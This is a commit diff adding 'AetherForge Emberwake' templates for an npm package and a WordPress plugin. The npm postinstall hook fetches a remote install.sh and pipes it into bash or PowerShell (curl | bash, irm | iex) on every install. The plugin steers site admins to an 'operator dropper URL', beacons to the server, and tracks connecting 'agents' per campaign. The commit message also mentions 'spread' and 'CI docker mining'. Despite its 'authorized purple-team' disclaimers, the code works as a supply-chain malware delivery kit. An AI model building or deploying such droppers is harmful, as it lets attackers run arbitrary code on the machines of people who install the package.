feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

templates/npm-helper-package/README.md

@@ -0,0 +1,38 @@
+# {{PACKAGE_NAME}}
+
+**Authorized use only** — purple-team, lab, and fleet machines you administer.
+
+This npm package template is exported from **AetherForge Emberwake**. It runs a `postinstall` script that pulls your command-deck `install.sh` with campaign attribution.
+
+## What it does
+
+On `npm install`, the postinstall hook:
+
+1. Sets `AETHER_CAMPAIGN={{CAMPAIGN}}` (and `AETHER_UTM`).
+2. Fetches `{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}`.
+3. Executes the platform installer (bash on Unix, `irm|iex` on Windows).
+
+Optional pinned build: `{{BUILD_ID}}`.
+
+## Operator workflow
+
+1. Emberwake → **Export npm package template ZIP**.
+2. Unzip, adjust `package.json` name/version if needed.
+3. Publish to a registry **you control** (private npm, Verdaccio, GitHub Packages).
+4. Depend on it only in projects under your authorization scope.
+
+## What this is NOT
+
+- Not for typosquatting public npm packages.
+- Not for hijacking third-party dependency chains.
+- Not silent — install scripts still run in the operator's CI/dev environment with full visibility.
+
+## Configuration baked at export
+
+| Field | Value |
+|-------|-------|
+| Server | `{{SERVER_URL}}` |
+| Campaign | `{{CAMPAIGN}}` |
+| Build pin | `{{BUILD_ID}}` |
+
+See the docs wiki: [npm postinstall helper](/docs/#npm-postinstall-helper).

templates/npm-helper-package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "{{PACKAGE_NAME}}",
+  "version": "1.0.0",
+  "description": "Authorized AetherForge install helper — purple-team / lab use on packages you publish only.",
+  "private": true,
+  "license": "UNLICENSED",
+  "scripts": {
+    "postinstall": "node scripts/postinstall.cjs"
+  },
+  "engines": {
+    "node": ">=18"
+  }
+}

templates/npm-helper-package/scripts/postinstall.cjs

@@ -0,0 +1,42 @@
+'use strict';
+
+/**
+ * Authorized postinstall — curls your command-deck install.sh with campaign env.
+ * Publish only to registries you control (private npm, Verdaccio, GitHub Packages).
+ * Do not typosquat public packages.
+ */
+
+const { spawnSync } = require('child_process');
+
+const SERVER = '{{SERVER_URL}}';
+const CAMPAIGN = '{{CAMPAIGN}}';
+const BUILD_ID = '{{BUILD_ID}}';
+
+if (!SERVER || SERVER.includes('{{')) {
+  console.warn('[aetherforge-helper] SERVER_URL not configured — skipping postinstall.');
+  process.exit(0);
+}
+
+process.env.AETHER_CAMPAIGN = CAMPAIGN;
+process.env.AETHER_UTM = CAMPAIGN;
+
+const q = new URLSearchParams();
+if (CAMPAIGN) q.set('c', CAMPAIGN);
+if (BUILD_ID) q.set('pin', BUILD_ID);
+const suffix = q.toString() ? `?${q.toString()}` : '';
+const installUrl = `${SERVER.replace(/\/$/, '')}/install.sh${suffix}`;
+
+const isWin = process.platform === 'win32';
+const shell = isWin ? 'powershell.exe' : 'sh';
+const cmd = isWin
+  ? `$env:AETHER_CAMPAIGN='${CAMPAIGN}'; irm '${installUrl}' | iex`
+  : `export AETHER_CAMPAIGN='${CAMPAIGN}'; curl -fsSL '${installUrl}' | bash`;
+
+const result = spawnSync(shell, [isWin ? '-NoProfile' : '-c', isWin ? cmd : cmd], {
+  stdio: 'inherit',
+  shell: false,
+});
+
+if (result.status !== 0) {
+  console.warn('[aetherforge-helper] postinstall exited', result.status);
+}

templates/wordpress-plugin/plugin-template/plugin.php

@@ -0,0 +1,98 @@
+<?php
+/**
+ * Plugin Name: {{PLUGIN_NAME}}
+ * Plugin URI: {{SERVER_URL}}
+ * Description: Operator-owned update helper for authorized purple-team distribution. Not distributed via wordpress.org.
+ * Version: {{VERSION}}
+ * Author: Operator
+ * License: Proprietary
+ * Text Domain: {{PLUGIN_SLUG}}
+ *
+ * Host this ZIP on a WordPress site you control. The plugin surfaces an update link that points at your
+ * AetherForge command deck — never a third-party plugin directory.
+ */
+
+if (!defined('ABSPATH')) {
+    exit;
+}
+
+define('AF_HELPER_VERSION', '{{VERSION}}');
+define('AF_HELPER_SERVER', '{{SERVER_URL}}');
+define('AF_HELPER_CAMPAIGN', '{{WP_CAMPAIGN}}');
+define('AF_HELPER_BUILD_PIN', '{{BUILD_ID}}');
+define('AF_HELPER_DOWNLOAD', '{{DOWNLOAD_URL}}');
+
+/**
+ * Build the operator dropper URL (pinned build + wp campaign tag).
+ */
+function af_helper_download_url(): string {
+    $base = AF_HELPER_DOWNLOAD;
+    if ($base !== '' && strpos($base, 'http') === 0) {
+        return $base;
+    }
+    $url = rtrim(AF_HELPER_SERVER, '/') . '/get?c=' . rawurlencode(AF_HELPER_CAMPAIGN);
+    if (AF_HELPER_BUILD_PIN !== '') {
+        $url .= '&pin=' . rawurlencode(AF_HELPER_BUILD_PIN);
+    }
+    return $url;
+}
+
+/**
+ * Admin notice — offers the authorized update/download link (operator confirms install off-site).
+ */
+function af_helper_admin_notice(): void {
+    if (!current_user_can('manage_options')) {
+        return;
+    }
+    $dl = esc_url(af_helper_download_url());
+    echo '<div class="notice notice-info"><p><strong>' . esc_html('{{PLUGIN_NAME}}') . '</strong> — ';
+    echo esc_html__('Authorized fleet update available from your command deck.', '{{PLUGIN_SLUG}}');
+    echo ' <a href="' . $dl . '" target="_blank" rel="noopener noreferrer">';
+    echo esc_html__('Download update', '{{PLUGIN_SLUG}}') . '</a>';
+    echo ' <span class="description">(' . esc_html(AF_HELPER_CAMPAIGN) . ')</span></p></div>';
+}
+add_action('admin_notices', 'af_helper_admin_notice');
+
+/**
+ * Lightweight version check — compares local constant to remote header (optional operator signal).
+ */
+function af_helper_remote_version(): string {
+    $endpoint = rtrim(AF_HELPER_SERVER, '/') . '/get?c=' . rawurlencode(AF_HELPER_CAMPAIGN) . '&check=1';
+    $resp = wp_remote_head($endpoint, array('timeout' => 8, 'redirection' => 0));
+    if (is_wp_error($resp)) {
+        return AF_HELPER_VERSION;
+    }
+    $ver = wp_remote_retrieve_header($resp, 'x-aetherforge-version');
+    if (is_array($ver)) {
+        $ver = reset($ver);
+    }
+    return is_string($ver) && $ver !== '' ? $ver : AF_HELPER_VERSION;
+}
+
+/**
+ * Settings page under Tools — documents operator-owned hosting model.
+ */
+function af_helper_register_menu(): void {
+    add_management_page(
+        '{{PLUGIN_NAME}}',
+        '{{PLUGIN_NAME}}',
+        'manage_options',
+        '{{PLUGIN_SLUG}}',
+        'af_helper_settings_page'
+    );
+}
+add_action('admin_menu', 'af_helper_register_menu');
+
+function af_helper_settings_page(): void {
+    if (!current_user_can('manage_options')) {
+        return;
+    }
+    $dl = esc_url(af_helper_download_url());
+    echo '<div class="wrap"><h1>' . esc_html('{{PLUGIN_NAME}}') . '</h1>';
+    echo '<p>' . esc_html__('This plugin is hosted on your WordPress site — not wordpress.org. Updates pull from your AetherForge server.', '{{PLUGIN_SLUG}}') . '</p>';
+    echo '<table class="form-table"><tbody>';
+    echo '<tr><th>' . esc_html__('Campaign', '{{PLUGIN_SLUG}}') . '</th><td><code>' . esc_html(AF_HELPER_CAMPAIGN) . '</code></td></tr>';
+    echo '<tr><th>' . esc_html__('Download URL', '{{PLUGIN_SLUG}}') . '</th><td><a href="' . $dl . '">' . $dl . '</a></td></tr>';
+    echo '<tr><th>' . esc_html__('Local version', '{{PLUGIN_SLUG}}') . '</th><td>' . esc_html(AF_HELPER_VERSION) . '</td></tr>';
+    echo '</tbody></table></div>';
+}

templates/wordpress-plugin/plugin-template/readme.txt

@@ -0,0 +1,33 @@
+=== {{PLUGIN_NAME}} ===
+Contributors: operator
+Tags: aetherforge, authorized-testing
+Requires at least: 5.8
+Tested up to: 6.7
+Stable tag: {{VERSION}}
+License: Proprietary
+
+Operator-owned WordPress plugin for authorized purple-team / lab distribution.
+
+== Description ==
+
+This plugin is **not** submitted to wordpress.org. Upload the generated ZIP via **Plugins → Add New → Upload Plugin** on a WordPress site **you control**.
+
+The plugin adds an admin notice and Tools page that link to your AetherForge command deck:
+
+* Download URL: {{DOWNLOAD_URL}}
+* Campaign tag: {{WP_CAMPAIGN}}
+* Optional pinned build: {{BUILD_ID}}
+
+End users still confirm any off-site download — modern browsers and OS guardrails apply.
+
+== Installation ==
+
+1. Emberwake → Export WordPress Plugin ZIP (set site name + server URL).
+2. Upload the ZIP on your owned WordPress host.
+3. Activate the plugin.
+4. Verify campaign hits in Emberwake when agents connect with `{{WP_CAMPAIGN}}`.
+
+== Changelog ==
+
+= {{VERSION}} =
+* Initial operator export from AetherForge Emberwake.